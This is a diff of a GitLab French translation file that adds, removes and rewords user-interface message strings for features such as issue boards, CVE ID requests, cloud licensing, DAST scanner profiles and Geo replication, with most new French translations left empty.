msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr "L’avatar sera supprimé. Êtesâ€vous sûr·e ?"
msgid "Average per day: %{average}"
msgstr "Moyenne par jour : %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Commencer avec le commit sélectionné"
@@ -4645,7 +4771,7 @@ msgstr "Facturation"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr "Tableaux"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "par"
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr "Intégration et livraison continues"
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr "Paramètres CI / CD (intégration et livraison continues)"
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr "L’intégration continue fonctionnera avec les paramètres d’authenti
msgid "CI/CD"
msgstr "Intégration et livraison continues"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "Configuration de l’intégration et de la livraison continues"
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de retour"
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr "Changer de modèle"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "Modifiez cette valeur pour influencer la fréquence d’interrogation de l’interface utilisateur GitLab pour les mises à jour."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr "Picorer"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Défaire"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "Cela va créer un nouveau commit afin de défaire les modifications existantes."
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "Clore l’épopée"
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr "Assurezâ€vous que votre compte %{link_to_requirements} pour créer des
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr "Commit…"
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "Copier l’URL %{protocol} de clonage"
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr "Créer"
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr "Créer un nouveau fichier"
msgid "Create new file or directory"
msgstr "Créer un nouveau fichier ou répertoire"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "Créer une nouvelle étiquette"
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr "Créé"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr "Création de l’épopée en cours"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "Révoquer"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr "Révoquer %{name}"
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "Nom d’utilisateur"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr "Description :"
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr "Détecter les clefs de l’hôte"
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr "Rejeter la promotion de la demande de fusion"
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr "Modifier l’application"
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr "Modifier les fichiers dans l’éditeur et valider les modifications ici
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Modifier le groupe : %{group_name}"
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "Activer Auto DevOps"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Activer la collecte de données Pseudonymizer"
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr "Activer et configurer les métriques Prometheus."
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr "Activer le contrôle de classification à l’aide d’un service externe"
@@ -11387,6 +11718,9 @@ msgstr "activé"
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr "Étendre la barre latérale"
@@ -12356,6 +12687,9 @@ msgstr "Explorer les groupes publics"
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr "Authentification externe"
@@ -12425,13 +12750,16 @@ msgstr "Étiquette de classification"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Lorsqu’aucune étiquette de classification n’est définie, l’étiquette par défaut « %{default_label} » sera utilisée."
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr "Impossible de supprimer le ticket du tableau, veuillez réessayer."
-
msgid "Failed to remove mirror."
msgstr "Impossible de supprimer le miroir."
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr "Échec de la mise à jour du ticket. Veuillez réessayer."
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "Filtrer sur les tickets de type %{issuable_type} qui sont actuellement fermés."
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "Filtrer sur les tickets de type %{issuable_type} qui sont actuellement ouverts."
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "Courriel de FogBugz"
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr "Pour plus d’informations, consultez "
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "Pour plus d’informations, veuillez consulter la %{link_start_tag}documentation sur la configuration de Jaeger%{link_end_tag}"
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Divergence issue de"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr "Divergence en cours"
@@ -13585,6 +13925,9 @@ msgstr "%{name} est programmé pour la reâ€synchronisation"
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr "Impossible de supprimer l’entrée de suivi d’un projet existant."
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "En échec"
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr "Synchronisé"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Pas encore synchronisé"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "En attente de synchronisation"
@@ -13714,6 +14078,9 @@ msgstr "Projets de certains groupes"
msgid "Geo|Projects in certain storage shards"
msgstr "Projets dans certains fragments de stockage"
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "Reâ€télécharger"
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "Reâ€synchroniser"
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "Statut"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Synchronisé"
@@ -13765,6 +14159,9 @@ msgstr "Synchro en échec — %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr "État inconnu"
msgid "Geo|Verification failed - %{error}"
msgstr "Vérification en échec — %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "En attente de planification"
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "GitLab va exécuter une tâche en arrièreâ€plan qui permettra de produire des fichiers CSV contenant des pseudonymes de la base de données GitLab qui seront téléversés dans le répertoire de stockage d’objets que vous avez configuré."
